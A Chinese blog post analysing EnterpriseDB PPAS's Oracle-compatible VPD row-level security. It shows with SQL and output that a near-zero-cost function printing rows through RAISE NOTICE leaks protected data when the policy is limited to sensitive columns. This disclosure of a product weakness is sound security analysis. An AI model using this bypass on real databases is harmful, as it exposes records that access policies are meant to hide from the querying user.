EnterpriseDB (PPAS) Oracle兼容性Virtual Private Database(VPD) 数据隔离以及当前缺陷

3 minute read

背景

不带barrier的视图是不安全的,我在前面写过文章来讲这个,以及如何攻击这种视图。

https://yq.aliyun.com/articles/14731

PostgreSQL 为了增强视图的安全,增加了barrier的属性,来解决被攻击的问题。

PostgreSQL 9.5 则提供了RLS来达到表数据隔离的目的,解决了需要使用视图来隔离数据的目的。

RLS的隔离可以参考我以前写的文章

http://blog.163.com/digoal@126/blog/static/16387704020153984016177/

回到本文的主题,EnterpriseDB 9.3针对Oracle的兼容性,提供了一个叫VPD的特性,因为9.3的版本较老,那个时候还没有RLS,所以这个特性其实是基于query rewrite来做的,与barrier视图类似。

用法参考(dbms_rls包)

https://www.enterprisedb.com/docs/en/9.5/eeguide/Postgres_Plus_Enterprise_Edition_Guide.1.158.html#pID0E02EE0HA

所以攻击方法一样有效,利用优化器的特性,先处理成本低的操作符或函数。

来看看怎么攻击?

正文

创建测试表和数据

postgres=# create table t2(id int, info text,id2 int);  
CREATE TABLE  
postgres=# insert into t2 values (1,'test',0);  
INSERT 16633 1  
postgres=# insert into t2 values (2,'test',1);  
INSERT 16634 1  
postgres=# insert into t2 values (3,'test',2);  
INSERT 16635 1  
postgres=# insert into t2 values (4,'test',2);  
INSERT 16636 1  

创建VPD函数,对于digoal用户,只允许他查看info=’digoal’的记录。

CREATE OR REPLACE FUNCTION vpd1(  
    s_schema character varying,  
    s_object character varying)  
  RETURNS character varying AS  
$BODY$  
  RESULT varchar2(20);   
  rolname    varchar2(64);     
BEGIN  
  rolname = SYS_CONTEXT('USERENV', 'SESSION_USER');  
  if rolname = 'digoal' then  
    RESULT = 'info = ''' ||rolname||'''' ;  
  else  
    RESULT = '1=1' ;  
  END IF;  
  RETURN(RESULT);  
END$BODY$  
  LANGUAGE edbspl VOLATILE SECURITY DEFINER  
  COST 100;  

添加VPD策略, select 任意字段都启用vpd策略

DECLARE  
  v_object_schema VARCHAR2(30) := 'public';  
  v_object_name VARCHAR2(30) := 't2';  
  v_policy_name VARCHAR2(30) := 's_t2';  
  v_function_schema VARCHAR2(30) := 'public';  
  v_policy_function VARCHAR2(30) := 'vpd1';  
  v_statement_types VARCHAR2(30) := 'SELECT,INSERT,UPDATE,DELETE';  
  v_update_check boolean := true;  
BEGIN  
DBMS_RLS.ADD_POLICY(  
v_object_schema,  
v_object_name,  
v_policy_name,  
v_function_schema,  
v_policy_function,  
v_statement_types,  
update_check => v_update_check  
);  
END;  

连接到digoal用户

\c postgres digoal  

查看执行计划,会筛选info=’digoal’的数据

postgres=> explain select id from t2;  
                           QUERY PLAN                              
-----------------------------------------------------------------  
 Seq Scan on t2  (cost=0.00..24.50 rows=6 width=40)  
   Filter: ((info = 'digoal'::text) AND (info = 'digoal'::text))  
(2 rows)  

尝试视图攻击, 把函数的cost设置为很小

create or replace function f(v_t2 t2) returns boolean as $$                
declare   
begin  
  raise notice '%', v_t2;  
  return true;  
end;  
$$ language plpgsql strict cost 0.00000000001;  

查看使用了f(t2)后的执行计划

postgres=> explain select * from t2 where f(t2);                                                                                                              
                                 QUERY PLAN                                    
-----------------------------------------------------------------------------  
 Seq Scan on t2  (cost=0.00..24.50 rows=2 width=40)  
   Filter: ((info = 'digoal'::text) AND f(t2.*) AND (info = 'digoal'::text))  
(2 rows)  

实际上,无法攻击,效果与barrier视图类似,没有办法进行攻击

postgres=> select * from t2 where f(t2);          
 id | info | id2   
----+------+-----  
(0 rows)  
  
postgres=> set enable_seqscan=off;               
SET  
postgres=> explain select * from t2 where id=1;  
                           QUERY PLAN                              
-----------------------------------------------------------------  
 Index Scan using idx on t2  (cost=0.13..8.15 rows=1 width=40)  
   Index Cond: (id = 1)  
   Filter: ((info = 'digoal'::text) AND (info = 'digoal'::text))  
(3 rows)  

但是,如果你只针对隐私列进行筛选的话,那么就有漏洞了。

DECLARE  
  v_object_schema VARCHAR2(30) := 'public';  
  v_object_name VARCHAR2(30) := 't2';  
  v_policy_name VARCHAR2(30) := 's_t2';  
BEGIN  
DBMS_RLS.DROP_POLICY(  
v_object_schema,  
v_object_name,  
v_policy_name  
);  
end;  
  
DECLARE  
  v_object_schema VARCHAR2(30) := 'public';  
  v_object_name VARCHAR2(30) := 't2';  
  v_policy_name VARCHAR2(30) := 's_t2';  
  v_function_schema VARCHAR2(30) := 'public';  
  v_policy_function VARCHAR2(30) := 'vpd1';  
  v_statement_types VARCHAR2(30) := 'SELECT,INSERT,UPDATE,DELETE';  
  v_update_check boolean := true;  
  v_sec_relevant_cols text := 'info';  -- 隐私列, 不加的话默认是所有列强制走vpd  
BEGIN  
DBMS_RLS.ADD_POLICY(  
v_object_schema,  
v_object_name,  
v_policy_name,  
v_function_schema,  
v_policy_function,  
v_statement_types,  
update_check => v_update_check,  
sec_relevant_cols => v_sec_relevant_cols  
);  
END;  

当没有查询到隐私列时,是不会带上filter的,所以给攻击带来了希望

\c postgres digoal  
  
postgres=> explain select info from t2;        
                           QUERY PLAN                              
-----------------------------------------------------------------  
 Seq Scan on t2  (cost=0.00..24.50 rows=6 width=32)  
   Filter: ((info = 'digoal'::text) AND (info = 'digoal'::text))  
(2 rows)  
  
postgres=> explain select id,id2 from t2;  
                      QUERY PLAN                        
------------------------------------------------------  
 Seq Scan on t2  (cost=0.00..21.60 rows=1160 width=8)  
(1 row)  

带上隐私列时,filter会自动加上.

postgres=> select * from t2;     
 id | info | id2   
----+------+-----  
(0 rows)  

在查询中不包含隐私列时,攻击成功

通过f函数已经成功的拿到了隐私列的内容

postgres=> select id,id2 from t2 where f(t2);  
NOTICE:  (1,test,0)  
NOTICE:  (2,test,1)  
NOTICE:  (3,test,2)  
NOTICE:  (4,test,2)  
 id | id2   
----+-----  
  1 |   0  
  2 |   1  
  3 |   2  
  4 |   2  
(4 rows)  

关于connect by,PPAS会自动将其转换成with语法,同样能保证数据的安全。

postgres=> explain select id,id2,info from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';  
                                         QUERY PLAN                                            
---------------------------------------------------------------------------------------------  
 Sort  (cost=1278.31..1278.32 rows=6 width=72)  
   Sort Key: connectby_cte.siblingssortcol  
   CTE prior  
     ->  Recursive Union  (cost=0.00..1252.00 rows=1166 width=104)  
           ->  WindowAgg  (cost=0.00..24.57 rows=6 width=40)  
                 ->  Seq Scan on t2 t  (cost=0.00..24.50 rows=6 width=40)  
                       Filter: ((info = 'digoal'::text) AND (id = 4))  
           ->  WindowAgg  (cost=1.95..120.41 rows=116 width=104)  
                 ->  Hash Join  (cost=1.95..118.38 rows=116 width=104)  
                       Hash Cond: (t_1.id = prior.id2)  
                       Join Filter: connectby_cyclecheck(prior.recursionpath, t_1.id2)  
                       ->  Seq Scan on t2 t_1  (cost=0.00..21.60 rows=1160 width=40)  
                             Filter: (info = 'digoal'::text)  
                       ->  Hash  (cost=1.20..1.20 rows=60 width=68)  
                             ->  WorkTable Scan on prior  (cost=0.00..1.20 rows=60 width=68)  
   ->  CTE Scan on prior connectby_cte  (cost=0.00..26.23 rows=6 width=72)  
         Filter: (info = 'digoal'::text)  
(17 rows)  
  
postgres=> select id,id2,info from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';          
 id | id2 | info   
----+-----+------  
(0 rows)  
  
postgres=> explain select id,id2 from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';       
                                         QUERY PLAN                                            
---------------------------------------------------------------------------------------------  
 Sort  (cost=1334.71..1337.62 rows=1166 width=40)  
   Sort Key: connectby_cte.siblingssortcol  
   CTE prior  
     ->  Recursive Union  (cost=0.00..1252.00 rows=1166 width=72)  
           ->  WindowAgg  (cost=0.00..24.57 rows=6 width=8)  
                 ->  Seq Scan on t2 t  (cost=0.00..24.50 rows=6 width=8)  
                       Filter: (id = 4)  
           ->  WindowAgg  (cost=1.95..120.41 rows=116 width=72)  
                 ->  Hash Join  (cost=1.95..118.38 rows=116 width=72)  
                       Hash Cond: (t_1.id = prior.id2)  
                       Join Filter: connectby_cyclecheck(prior.recursionpath, t_1.id2)  
                       ->  Seq Scan on t2 t_1  (cost=0.00..21.60 rows=1160 width=8)  
                       ->  Hash  (cost=1.20..1.20 rows=60 width=68)  
                             ->  WorkTable Scan on prior  (cost=0.00..1.20 rows=60 width=68)  
   ->  CTE Scan on prior connectby_cte  (cost=0.00..23.32 rows=1166 width=40)  
(15 rows)  
  
postgres=> select id,id2 from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';          
 id | id2   
----+-----  
  4 |   2  
  2 |   1  
  1 |   0  
(3 rows)  

Flag Counter

digoal’s 大量PostgreSQL文章入口